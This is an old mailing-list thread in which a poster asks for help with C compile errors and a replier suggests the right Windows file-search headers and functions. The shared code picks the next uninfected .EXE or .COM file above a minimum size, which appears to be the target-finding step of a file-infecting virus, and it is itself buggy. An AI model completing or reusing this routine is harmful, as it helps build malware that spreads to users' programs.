At Monday 5/12/2008 05:08 PM, you wrote:
>Here is my code that will return the next file in a directory:
>=====================
>char* next(void)
>{
>     /* This function returns the next file */
>
>
>     /* Variable declarations */
>
>     char *types[] = {"*.EXE", "*.COM"};
>     intptr_t done;                     // Indicates finish
>     int index;                         // Used for loop
>     int _argc;
>     char* _argv[30];
>     struct _finddata_t {
>       char ff_name[13];
>       long ff_fsize;
>     } ff;
>
>     /* Find our file*/
>     char* ff_name = (char*) malloc (13);
>     if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
>          return(_argv[1]);
>     for (index = 0; index < sizeof(types); index++)
>     {
>          done = findfirst(types[index], &ff);
>
>          while (!done) {
>#ifdef DEBUG
>               printf("Scanning %s...\n", ff.ff_name);
>#endif
>
>               if ((!infected(ff.ff_name)) && (ff.ff_fsize >
>TOO_SMALL))
>
>                      return ff_name;
>                      done = findnext(done, &ff);
>//findclose(done);
>          }
>     }
>     return(0);                         // Prevents warning
>}
>=========================
>
>and here are the errors that I got when I compile the code using
>cygwin:
>
>/cygdrive/c/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ccqzjO6d.o:test.c:
>(.text+0x444): undefined reference to `_findfirst'
>/cygdrive/c/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ccqzjO6d.o:test.c:
>(.text+0x4a4): undefined reference to `_findnext'
>collect2: ld returned 1 exit status
>
>Can some body help me...

It appears you have not added
#include <io.h>

You may also want to use the system-defined structure _finddata_t 
rather than re-defining it yourself.

Also, try using _findfirst and _findnext and _findclose (and 
uncomment _findclose).

~Rick





>------------------------------------
>
>To unsubscribe, send a blank message to 
><mailto:[EMAIL PROTECTED]>.Yahoo! Groups Links
>
>
>

Reply via email to